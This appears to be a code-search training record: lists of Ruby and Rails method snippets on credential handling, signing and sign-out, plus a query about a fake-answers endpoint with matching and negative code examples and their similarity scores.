"def clear_credentials!\n @access_token = nil\n @refresh_token = nil\n @id_token = nil\n @username = nil\n @password = nil\n @code = nil\n @issued_at = nil\n @expires_at = nil\n end",
"def doctor_project(project,target, identity, profileUuid)\n log( \"Modifiying Project FIle to sign with #{identity} identity ...\")\n\n project = ZergXcode.load(project)\n configuration = 'Release'\n build_configurations = project[\"buildConfigurationList\"][\"buildConfigurations\"]\n configuration_object = build_configurations.select { |item| item['name'] == configuration }[0]\n configuration_object[\"buildSettings\"][\"PROVISIONING_PROFILE\"] = profileUuid\n configuration_object[\"buildSettings\"][\"PROVISIONING_PROFILE[sdk=iphoneos*]\"] = profileUuid\n configuration_object[\"buildSettings\"][\"CODE_SIGN_IDENTITY\"] = identity\n configuration_object[\"buildSettings\"][\"CODE_SIGN_IDENTITY[sdk=iphoneos*]\"] = identity\n\n target = project[\"targets\"].select {|item| item['name'] == target }[0]\n build_configurations = target[\"buildConfigurationList\"][\"buildConfigurations\"]\n configuration_object = build_configurations.select {|item|item['name'] == configuration }[0]\n configuration_object[\"buildSettings\"][\"PROVISIONING_PROFILE[sdk=iphoneos*]\"] = profileUuid\n configuration_object[\"buildSettings\"][\"CODE_SIGN_IDENTITY[sdk=iphoneos*]\"] = identity\n\n project.save!\nend",
"def save\r\n SystemConfig.set :auth, to_h, true\r\n end",
"def store_credentials(credentials)\n conf = configuration\n conf[:credentials] = {}\n conf[:credentials][:access_key], conf[:credentials][:secret_key] = credentials[0], credentials[1]\n store_configuration(conf)\n end",
"def signing_information\n super\n end",
"def sign_certificate\n sign_certificate_for(default)\n end",
"def delete_temp_keychain()\n FileUtils.rm_rf(@temp_kc_path) if FileTest.exists? @temp_kc_path\n end",
"def sign_out!\n self.current_account = AnonymousAccount.instance\n end",
"def destroy account\n destroy_file File.join(@ssh_home, account + \".identity\")\n destroy_file File.join(@ssh_home, account + \".identity.pub\")\n end",
"def reset_secret_key\n r = Aws::Kms.new('saas', 'saas').decrypt(@client.api_salt)\n return r unless r.success?\n\n api_salt_d = r.data[:plaintext]\n\n client_api_secret_d = SecureRandom.hex\n\n r = LocalCipher.new(api_salt_d).encrypt(client_api_secret_d)\n return r unless r.success?\n\n client_api_secret_e = r.data[:ciphertext_blob]\n\n @client_webhook_setting.secret_key = client_api_secret_e\n @client_webhook_setting.set_decrypted_secret_key(client_api_secret_d)\n @client_webhook_setting.source = GlobalConstant::AdminActivityChangeLogger.web_source\n\n @client_webhook_setting.save! if @client_webhook_setting.changed?\n end",
"def clear_authentication\n authenticate(nil, nil)\n end",
"def set_defaults\n self.imagepath ||= Rails.application.config.missing_sign_image\n end",
"def test_gcp_default_auth_renew\n Kubeclient::GoogleApplicationDefaultCredentials.expects(:token).returns('token1').once\n parsed = YAML.safe_load(File.read(config_file('gcpauth.kubeconfig')), [Date, Time])\n config = Kubeclient::Config.new(parsed, nil)\n context = config.context(config.contexts.first)\n assert_equal({ bearer_token: 'token1' }, context.auth_options)\n assert_equal({ bearer_token: 'token1' }, context.auth_options)\n\n Kubeclient::GoogleApplicationDefaultCredentials.expects(:token).returns('token2').once\n context2 = config.context(config.contexts.first)\n assert_equal({ bearer_token: 'token2' }, context2.auth_options)\n assert_equal({ bearer_token: 'token1' }, context.auth_options)\n end",
"def update_devise_rb\n inject_into_file 'config/initializers/devise.rb', after: \"config.sign_out_via = :delete\\n\" do <<-'RUBY'\n\n # Config Social Keys to create the SignUps\n config.sign_out_via = :get\n config.omniauth :facebook, ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"], { :scope => 'email, offline_access', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :twitter, ENV[\"TWITTER_KEY\"], ENV[\"TWITTER_SECRET\"], { :scope => 'r_fullprofile, r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :linkedin, ENV[\"LINKEDIN_KEY\"], ENV[\"LINKEDIN_SECRET\"], { :scope => 'r_fullprofile r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :github, ENV['GITHUB_KEY'], ENV['GITHUB_SECRET'], scope: \"user, public_repo\"\n config.omniauth :google_oauth2, ENV['GOOGLE_KEY'], ENV['GOOGLE_SECRET'], {}\n\n RUBY\n end\n\n puts 'Check your config/initializers/devise.rb which was updated to have the Social Keys used (OmniAuth linked to devise)'.colorize(:light_green)\n puts 'UPDATE your config/initializers/devise.rb if you need more data from the user, CHANGING the: SCOPE'.colorize(:light_yellow)\n end",
"def refresh_credentials\n DockerRegistry.all.each do |registry|\n next if registry.credentials_expire_at&.> 1.hour.from_now\n next unless client = ecr_client(registry)\n\n authorization_data = client.get_authorization_token.authorization_data.first\n username, password = Base64.decode64(authorization_data.authorization_token).split(\":\", 2)\n registry.username = username\n registry.password = password\n registry.credentials_expire_at = authorization_data.expires_at || raise(\"NO EXPIRE FOUND\")\n end\n rescue Aws::ECR::Errors::InvalidSignatureException\n raise Samson::Hooks::UserError, \"Invalid AWS credentials\"\n end",
"def clear_grants_hack()\n self.grants.clear\n end",
"def update_signature!\n result = Overcommit::Utils.execute(\n %w[git config --local] + [signature_config_key, signature]\n )\n\n verify_signature_value = @hash['verify_signatures'] ? 1 : 0\n result &&= Overcommit::Utils.execute(\n %W[git config --local #{verify_signature_config_key} #{verify_signature_value}]\n )\n\n unless result.success?\n raise Overcommit::Exceptions::GitConfigError,\n \"Unable to write to local repo git config: #{result.stderr}\"\n end\n end",
"def reset\n if File.exists?(@identity_dir) and File.directory?(@identity_dir)\n\n @files_to_clean.each do |f|\n FileUtils.rm_f(f)\n end\n \n FileUtils.mkdir_p(@identity_dir)\n\n @csr = EZSSL_CSR.new\n end\n end",
"def update_signature!\n result = Overcommit::Utils.execute(\n %w[git config --local] + [signature_config_key, signature]\n )\n\n unless result.success?\n raise Overcommit::Exceptions::GitConfigError,\n \"Unable to write to local repo git config: #{result.stderr}\"\n end\n end",
"def cleanup\n logger.debug { \"#{self.class}##{__method__}\" }\n return unless self.active? && self.autogenerated_ssh_key? && self.load_agents(true).empty?\n key_pair = ec2.key_pairs[self.ssh_identity]\n return unless key_pair.exists?\n key_pair.delete\n FileUtils.safe_unlink(identity_file_path)\n end",
"def update_signature!; end",
"def update_signature!; end",
"def webhelper_delete_all_signing_keys(username, password, base_url = @base_url)\r\n private_resource = RestClient::Resource.new base_url + \"/api/v1/keys\", {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.get :accept => :json\r\n json = JSON.parse(response)\r\n\r\n puts \"\"\r\n # delete ios signing_keys\r\n puts \"+ Delete iOS signing-key: \"\r\n json['keys']['ios']['all'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts \"+ \" + response.to_str\r\n end\r\n # delete android signing_keys\r\n puts \"+ Delete Android signing-key: \"\r\n json['keys']['android']['all'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts \"+ \" + response.to_str\r\n end\r\n # delete blackberry signing_keys\r\n puts \"+ Delete BlackBerry signing-key: \"\r\n json['keys']['blackberry']['all'].each do |i|\r\n url = base_url + i['link']\r\n private_resource = RestClient::Resource.new url , {:user => username , :password => password , :timeout => 30}\r\n response = private_resource.delete \r\n puts \"+ \" + response.to_str\r\n end\r\n end",
"def sign_out\n @username = nil\n @current_user = nil\n\n @modhash = nil\n @cookie = nil\n end",
"def sign_out\n @current_user = nil\n end",
"def clean_keys\n self.repo_private_key = clean_key(repo_private_key)\n end",
"def default_signer(string_to_sign)\n key = @storage_json.authorization.signing_key\n key = OpenSSL::PKey::RSA.new(@storage_json.authorization.signing_key) unless key.respond_to?(:sign)\n digest = OpenSSL::Digest::SHA256.new\n return key.sign(digest, string_to_sign)\n end",
"def set_signing_information(opts)\n opts = check_params(opts,[:signers])\n super(opts)\n end",
"def reload!\n @private_key = nil\n @pem = nil\n nil\n end",
"def remove_credentials\n validate(\n infrastructure_name: :security_default,\n record_id: :security_default,\n credential_type: [:optional, :security_default]\n )\n\n begin\n facade = InfrastructureFacadeFactory.get_facade_for(params[:infrastructure_name])\n facade.remove_credentials(params[:record_id], current_user.id, params[:credential_type])\n render json: {status: 'ok', msg: I18n.t('infrastructures_controller.credentials_removed', name: facade.long_name)}\n rescue => e\n Rails.logger.error \"Remove credentials failed: #{e.to_s}\\n#{e.backtrace.join(\"\\n\")}\"\n render json: {status: 'error', msg: I18n.t('infrastructures_controller.credentials_not_removed', error: e.to_s)}\n end\n end",
"def save_config_signature\n Origen.app.session.origen_sim[\"#{id}_config\"] = config.except(*NON_DATA_CONFIG_ATTRIBUTES)\n end",
"def reset_config\n configure do |config|\n config.provider = :payu\n\n # payu configuration\n config.pos_id = 999\n config.pos_auth_key = 'pos_auth_key'\n config.key1 = 'key1'\n config.key2 = 'key2'\n\n config.test_mode = false\n end\n end",
"def create_signature_hashes\n if !self.manager_sign_username.blank?\n manager = User.find_by_username_and_store_id(self.manager_sign_username, Thread.current['user'].store_id)\n self.manager_signer = manager\n self.manager_signature_hash = Digest::SHA1.hexdigest(\"--#{manager.social_security_number}--#{self.instance.created_at}--\")\n self.manager_signature_date = Time.now\n self.save_status = self.save_status.to_s + \" Store Manager signature accepted. Reload this page to see the digital fingerprint.\"\n end\n\n if !self.regional_sign_username.blank?\n regional = Admin.find_by_username(self.regional_sign_username)\n self.regional_signer = regional\n self.regional_signature_hash = Digest::SHA1.hexdigest(\"--#{regional.social_security_number}--#{self.instance.created_at}--\")\n self.regional_signature_date = Time.now\n self.save_status = self.save_status.to_s + \" Regional Manager signature accepted. Reload this page to see the digital fingerprint.\"\n end\n end",
"def clear_user_and_mark_purged\n random_suffix = (('0'..'9').to_a + ('a'..'z').to_a).sample(8).join\n\n self.studio_person_id = nil\n self.name = nil\n self.username = \"#{SYSTEM_DELETED_USERNAME}_#{random_suffix}\"\n self.current_sign_in_ip = nil\n self.last_sign_in_ip = nil\n self.email = ''\n self.hashed_email = ''\n self.parent_email = nil\n self.encrypted_password = nil\n self.uid = nil\n self.reset_password_token = nil\n self.full_address = nil\n self.properties = {}\n\n self.purged_at = Time.zone.now\n\n save!\n end",
"def detach_sign()\n # TODO\n end",
"def reset_authentication_token!\n self.authentication_token = generate_authentication_token\n end",
"def remove_all_authentication_profiles\n super\n end",
"def reset_private_key\n self.private_key = ActiveSupport::SecureRandom.hex(32)\n end",
"def set_default_signature_method!\n # self.signature_digest_algorithm = :sha1\n # self.signature_algorithm_id = 'http://www.w3.org/2000/09/xmldsig#rsa-sha1'\n self.signature_digest_algorithm = :sha256\n self.signature_algorithm_id = 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256'\n end",
"def signing_keys\n @signing_keys ||= fetch_signing_keys\n end",
"def delete_key_pair(name)\n delete(\"tenants/#{tenant}/sshkeys/#{name}\")\n end",
"def recreate_authentication provider, uid\n authentication.delete\n Authentication.create! provider: provider, uid: uid, user_id: id\n end",
"def sends_aws_keys settings\n settings[:user_data][:attributes][:aws] ||= {}\n settings[:user_data][:attributes][:aws][:access_key] ||= Settings[:access_key]\n settings[:user_data][:attributes][:aws][:secret_access_key] ||= Settings[:secret_access_key]\n settings[:user_data][:attributes][:aws][:aws_region] ||= Settings[:aws_region]\nend",
"def delete(nsc)\n nsc.delete_shared_credential(@id)\n end",
"def sign_out\n\n\t\t# Current user now is new.\n\t\tself.current_user = nil\n\n\t\t# The data cookies are deleted.\n\t\tcookies.delete(:remember_token)\n\tend",
"def remove_oauth_credentials\n self.oauth_token = nil\n self.oauth_secret = nil\n self.oauth_expires_at = nil\n end",
"def sign_out\r\n self.current_user = nil\r\n cookies.delete(:remember_token)\r\n end",
"def sign_key; end",
"def unauthorize\n Logger.info \"Cleaning up authorization for #{@registry.prefix}\"\n FileUtils.rm_rf(@gcloud_config_dir) unless @gcloud_config_dir.nil?\n end",
"def sign!\n @signed_date_time = Time.now.utc.strftime('%Y-%m-%dT%H:%M:%SZ')\n @signature = Cybersource::Security.generate_signature(signed_data)\n\n self\n end",
"def sign_cla!\n self.authorized_to_contribute = true\n save!\n end",
"def clear_sandbox\n FileUtils.rm_rf sandbox\nend",
"def revoke_previous_client_credentials_token\n @config.instance_variable_set(:@revoke_previous_client_credentials_token, true)\n end",
"def credentials\n @credentials ||= {}\n end",
"def reset_authentication_token!\n self.authentication_token = generate_authentication_token\n self.save!\n end",
"def handle_unverified_request\n super\n sign_out\n end",
"def sign_out\n reset_session\n @current_user = nil\n end",
"def config_delete(name)\n Bundler.settings.set_local(name, nil)\n Bundler.settings.set_global(name, nil)\n end",
"def signing_key\n @signing_key\n end",
"def download_actual_signing_credentials()\n sh($path_to_shell_script_file)\nend",
"def reset\n self.api_key = nil\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self.platform_client_id = nil\n self.platform_client_secret = nil\n self\n end",
"def clearsign()\n # TODO\n end",
"def delete_trusted_keys_statement\n super\n end",
"def set_creds\n\n creds = Aws::SharedCredentials.new({profile_name: session[:current_profile], correctClockSkew: true})\n Aws.config.update({\n region: 'us-east-1',\n credentials: creds\n })\n\n get_mfa_device\n if !session[:profile_mfa].nil? && !session[:profile_mfa].empty?\n begin\n res = sts.get_session_token(duration_seconds: 3600, serial_number: session[:mfa_device], token_code: session[:profile_mfa])\n\n session[:elevated] = true\n session[session[:current_profile]] = {\n access_key_id: res.credentials['access_key_id'],\n secret_access_key: res.credentials['secret_access_key'],\n session_token: res.credentials['session_token'],\n expiration: res.credentials['expiration'],\n containers: []\n }\n creds = Aws::Credentials.new(\n res.credentials['access_key_id'],\n res.credentials['secret_access_key'],\n res.credentials['session_token']\n )\n Aws.config.update({\n region: 'us-east-1',\n credentials: creds\n })\n\n { err: false }\n rescue Exception => e\n p \"RESCUE----\"\n p e\n session[session[:current_profile]] = {\n containers: []\n }\n session[:profile_mfa] = \"\"\n session[:elevated] = false\n { err: true }\n end\n\n else\n session[session[:current_profile]] = {\n containers: []\n }\n session[:profile_mfa] = \"\"\n session[:elevated] = false\n { err: false}\n end\n\n end",
"def revert_impersonate\n return unless current_impersonator\n sign_out(current_user)\n sign_in(current_impersonator)\n session[:impersonator_user_id] = nil\n end",
"def sign_out\n\t\tself.current_user = nil \n\t\tcookies.delete(:remember_token)\n\tend",
"def reset_authentication_token!\n reset_authentication_token\n save(validate: false)\n end",
"def destroy account\n destroy_file File.join(@heroku_home, account + '.' + CREDENTIALS)\n end",
"def reset_authentication_token!\n reset_authentication_token\n save(:validate => false)\n end",
"def call\n key_pairs = namespaces.map do |namespace|\n Chamber::KeyPair.new(namespace: namespace,\n key_file_path: rootpath)\n end\n key_pairs << Chamber::KeyPair.new(namespace: nil,\n key_file_path: rootpath)\n\n key_pairs.each { |key_pair| generate_key_pair(key_pair) }\n\n if signature\n signature_key_pair = Chamber::KeyPair.new(namespace: 'signature',\n key_file_path: rootpath)\n\n generate_key_pair(signature_key_pair)\n end\n\n append_to_gitignore\n\n shell.copy_file settings_template_filepath, settings_filepath, skip: true\n\n shell.say ''\n shell.say '********************************************************************************', :green\n shell.say ' Success!', :green\n shell.say '********************************************************************************', :green\n shell.say ''\n\n if namespaces.empty?\n shell.say '.chamber.pem is your DEFAULT Chamber key.', :yellow\n shell.say ''\n shell.say 'If you would like a key which is used only for a certain environment (such as'\n shell.say 'production), or your local machine, you can rerun the command like so:'\n shell.say ''\n shell.say '$ chamber init --namespaces=\"production my_machines_hostname\"', :yellow\n shell.say ''\n shell.say 'You can find more information about namespace keys here:'\n shell.say ''\n shell.say ' * '\n shell.say 'https://github.com/thekompanee/chamber/wiki/Namespaced-Key-Pairs', :blue\n shell.say ''\n shell.say '--------------------------------------------------------------------------------'\n shell.say ''\n end\n\n if signature\n shell.say ' Your Signature Keys'\n shell.say ''\n shell.say 'Your signature keys, which will be used for verification, are located at:'\n shell.say ''\n shell.say ' * Public Key: '\n shell.say signature_key_pair\n .public_key_filepath\n .relative_path_from(Pathname.pwd),\n :yellow\n shell.say ' * Private Key: '\n shell.say signature_key_pair\n .unencrypted_private_key_filepath\n .relative_path_from(Pathname.pwd),\n :yellow\n shell.say ' * Encrypted Private Key: '\n shell.say signature_key_pair\n .encrypted_private_key_filepath\n .relative_path_from(Pathname.pwd),\n :yellow\n shell.say ' * Encrypted Passphrase: '\n shell.say signature_key_pair\n .encrypted_private_key_passphrase_filepath\n .relative_path_from(Pathname.pwd),\n :yellow\n\n shell.say ''\n shell.say 'The signature private keys should be thought of separately from the other'\n shell.say 'project private keys you generate. They are not required to run the app'\n shell.say 'and should only be given out to *very select* people.'\n shell.say ''\n shell.say 'You can find more information about settings verification here:'\n shell.say ''\n shell.say ' * '\n shell.say 'https://github.com/thekompanee/chamber/wiki/Verifying-Settings', :blue\n shell.say ''\n shell.say '--------------------------------------------------------------------------------'\n shell.say ''\n end\n\n shell.say ' Your Encrypted Keys'\n shell.say ''\n shell.say 'You can send your team members any of the file(s) located at:'\n shell.say ''\n\n key_pairs.each do |key_pair|\n shell.say ' * '\n shell.say key_pair.encrypted_private_key_filepath.relative_path_from(Pathname.pwd), :yellow\n end\n\n shell.say ''\n shell.say 'and not have to worry about sending them via a secure medium, however do'\n shell.say 'not send the passphrase along with it. Give it to your team members in'\n shell.say 'person.'\n shell.say ''\n shell.say 'You can learn more about encrypted keys here:'\n shell.say ''\n shell.say ' * '\n shell.say 'https://github.com/thekompanee/chamber/wiki/Keypair-Encryption#the-encrypted-private-key', :blue\n shell.say ''\n shell.say '--------------------------------------------------------------------------------'\n shell.say ''\n shell.say ' Your Key Passphrases'\n shell.say ''\n shell.say 'The passphrases for your encrypted private key(s) are stored in the'\n shell.say 'following locations:'\n shell.say ''\n\n key_pairs.each do |key_pair|\n shell.say ' * '\n shell.say key_pair.encrypted_private_key_passphrase_filepath.relative_path_from(Pathname.pwd), :yellow\n end\n\n shell.say ''\n shell.say 'In order for them to decrypt it (for use with Chamber), they can use something'\n shell.say 'like the following (swapping out the actual key filenames if necessary):'\n shell.say ''\n shell.say \"$ cp #{key_pairs[0].encrypted_private_key_filepath.relative_path_from(Pathname.pwd)} #{key_pairs[0].unencrypted_private_key_filepath.relative_path_from(Pathname.pwd)}\", :yellow\n shell.say \"$ ssh-keygen -p -f #{key_pairs[0].unencrypted_private_key_filepath.relative_path_from(Pathname.pwd)}\", :yellow\n shell.say ''\n shell.say 'Enter the passphrase when prompted and leave the new passphrase blank.'\n shell.say ''\n shell.say '--------------------------------------------------------------------------------'\n shell.say ''\n end",
"def nuke_auth_token\n\t\t\tfile = get_access_token_file\n\t\t\[email protected] \"Removing persisted access token: #{file}\"\n\t\t\tFile.delete file\n\t\t\tset_access_token(nil)\n\t\t\tset_auth_header ''\n\t\tend",
"def sign_out\n streaming.disconnect\n session.sign_out\n end",
"def create_credentials\n FileUtils.mkdir_p(@local_credentials_dir)\n message \"Going to create the credentials.yml in #{@local_credentials_dir}\"\n if e.ask_to_overwrite_local(@local_credentials_file_yml)\n Spinner.return :message => \"Creating #{y('credentials.yml')}..\" do\n local_credentials_yml = File.new(@local_credentials_file_yml, \"w\")\n local_credentials_yml.write(yaml_template)\n local_credentials_yml.close\n g(\"Finished creating the credentials.yml\")\n end\n end \n end",
"def sign_out\n\t\tself.current_user = nil\n\t\tcookies.delete(:remember_token)\n\tend",
"def reset_oauth2_client!\n @oauth2_client = nil\n end",
"def delete_configuration\n super\n end",
"def delete_configuration\n super\n end",
"def sign_out\n self.current_user = nil\n cookies.delete(:remember_token)\n end",
"def set_keys\n self.auth = gen_key('auth') if auth.blank?\n self.mkey = gen_key('mkey') if mkey.blank?\n end",
"def credentials= (new_credentials)\n @credentials = new_credentials\n refresh_config_for_api_objects!\n @credentials\n end",
"def flush_passwords\n @password = @password_confirmation = nil\n end",
"def flush_passwords\n @password = @password_confirmation = nil\n end"
] | [
"0.6000053",
"0.57287073",
"0.5718047",
"0.5712944",
"0.5558645",
"0.55017227",
"0.54360753",
"0.5368876",
"0.5344141",
"0.5324556",
"0.5323831",
"0.53217494",
"0.5254176",
"0.5242718",
"0.5236519",
"0.52344626",
"0.52273536",
"0.5218138",
"0.52134675",
"0.51720977",
"0.51638734",
"0.5161907",
"0.5154964",
"0.5112514",
"0.5108392",
"0.50953037",
"0.50939226",
"0.50897616",
"0.5068921",
"0.50628185",
"0.5062034",
"0.5061145",
"0.50504947",
"0.50360185",
"0.5034266",
"0.502486",
"0.50204355",
"0.5017829",
"0.50114375",
"0.50114375",
"0.5010616",
"0.50102437",
"0.50022924",
"0.49943867",
"0.49562463",
"0.49483502",
"0.4947348",
"0.49464178",
"0.49391446",
"0.4935995",
"0.49341926",
"0.49339545",
"0.49288118",
"0.49139535",
"0.49045873",
"0.49019614",
"0.48979798",
"0.48956773",
"0.48876897",
"0.48802117",
"0.48556253",
"0.48553488",
"0.48457214",
"0.48439327",
"0.48327816",
"0.48320884",
"0.48299456",
"0.48208845",
"0.48153988",
"0.48135558",
"0.4811006",
"0.4810289",
"0.48058647",
"0.48018122",
"0.47926098",
"0.4789321",
"0.47838703",
"0.4783721",
"0.47805756",
"0.47792467",
"0.47769797",
"0.4775853",
"0.4774174",
"0.47689277",
"0.47608328",
"0.47595513",
"0.47584578",
"0.4757096",
"0.4750658",
"0.47479302",
"0.47458842",
"0.47422022",
"0.47351542",
"0.47287795",
"0.47287795",
"0.47284403",
"0.47268412",
"0.4725499",
"0.47247857",
"0.47244143"
] | 0.7454791 | 0 |
GET /fake_answers GET /fake_answers.json | def index
@fake_answers = FakeAnswer.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def answers\n request('answers')\n end",
"def show\n render json: @answer\n end",
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
"def show\n @quiz = params[:quiz_id]\n @fake_answers = FakeAnswer.where(question_id: params[:id])\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n\n @answers = Answer.current\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = @question.answers\n respond_with( @answers )\n end",
"def get_answers_for\n user = current_user\n render_401 and return unless user\n prospect = User.find_by_id(params[:for_user_id])\n render_404 and return unless prospect\n\n answers = ShortQuestion.get_latest_n_answers_for(prospect.id, params[:num], params[:start])\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end",
"def get_answers\n @answers\n end",
"def index\n @given_answers = GivenAnswer.all\n end",
"def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def create\n @fake_answer = FakeAnswer.new(fake_answer_params)\n @fake_answer.question_id = params[:question_id]\n respond_to do |format|\n if @fake_answer.save\n format.html { redirect_to question_path(params[:quiz_id], params[:question_id]), notice: 'Fake answer was successfully created.' }\n format.json { render :show, status: :created, location: @fake_answer }\n else\n format.html { render :new }\n format.json { render json: @fake_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def verify_answer\n answer = Answer.find(params[:id])\n\n respond_to do |format|\n if answer.verify_answer(params)\n format.json { render :json => true }\n else\n format.json { render :json => false }\n end\n end\n end",
"def set_fake_answer\n @fake_answer = FakeAnswer.find(params[:id])\n end",
"def index\n @question_answers = Question::Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_answers }\n end\n end",
"def index\n if get_event\n @v1_answers = @event.alternatives\n render json: @v1_answers\n else\n @v1_answers = V1::Answer.all\n render json: @v1_answers\n end\n end",
"def index\n @actual_answers = ActualAnswer.all\n end",
"def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end",
"def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end",
"def show\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def fake_answer_params\n params.require(:fake_answer).permit(:answer, :question_id, :quiz_id)\n end",
"def index\n render status: :ok, json: @simple_question_alternatives\n end",
"def no_answers\n request('no-answers')\n end",
"def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end",
"def new\n @quick_answer = QuickAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_answer }\n end\n end",
"def show\n if @user\n @answers = @question.answers.shuffle\n @equestion = @question.as_json.merge({:answers => @answers, :hearts => @user.hearts})\n render :json => @equestion\n else \n render text: \"Token failed verification\", status: 422\n end\n end",
"def with_answers\n @questions = Question.answered\n render(:action => \"index\")\n end",
"def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def show\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n @possible_answers = []\n @multiple_choice_question.wrong_answers.split(\",\").each do |wrong_answer|\n @possible_answers << wrong_answer\n end\n @possible_answers << @multiple_choice_question.correct_answer\n @possible_answers.shuffle!\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @multiple_choice_question }\n end\n end",
"def index\n @answer_respondents = AnswerRespondent.all\n end",
"def my_scn_answers\n\t\t#collect all the answers of current user\n\t answers = current_user.answers.all.map(&:question).uniq\n\t\tif answers.present?\n\t\t# response to the JSON\n\t\trender :json=> {success: true, \"answers\" => answers.as_json('my_scn_answers')}\n\t else\n\t render :json=> { success: false, message: \"Answers are not present\" },:status=> 203\n\t end\n\tend",
"def show\n @user_answer = UserAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_answer }\n end\n end",
"def index\n @answers = Answer.all\n \n end",
"def show\n @client_answer = ClientAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_answer }\n end\n end",
"def new\n @submitted_answer = SubmittedAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def index\n @answers = Replay.all\n end",
"def render_answer\n request('answers/render')\n end",
"def show\n respond_with( @answer )\n end",
"def index\n @asked_to_answers = AskedToAnswer.all\n end",
"def index\n @picture_test_answers = PictureTestAnswer.all\n end",
"def index\n\t\t@answers = Answer.all\n\tend",
"def new\n @user_answer = UserAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_answer }\n end\n end",
"def show\n\t\t@question = Question.find(params[:id])\n @answers = Answer.where(\"question_id = ?\", @question.id).order('upvote DESC')\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: { question: @question, answers: @answers } }\n\t\tend\n\tend",
"def answers\n @answers ||= generate_answers\n end",
"def new\n @question = Question.find(params[:question_id])\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @answer_set = AnswerSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer_set }\n end\n end",
"def index\n @possible_answers = PossibleAnswer.all\n end",
"def show\n @textanswer = Textanswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @textanswer }\n end\n end",
"def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def index\n @answers = @question.answers.all\n\n respond_to_index\n end",
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def answer\n if answered?\n answers.last.answer\n else\n [{:answer => \"not answered\"}]\n end\n end",
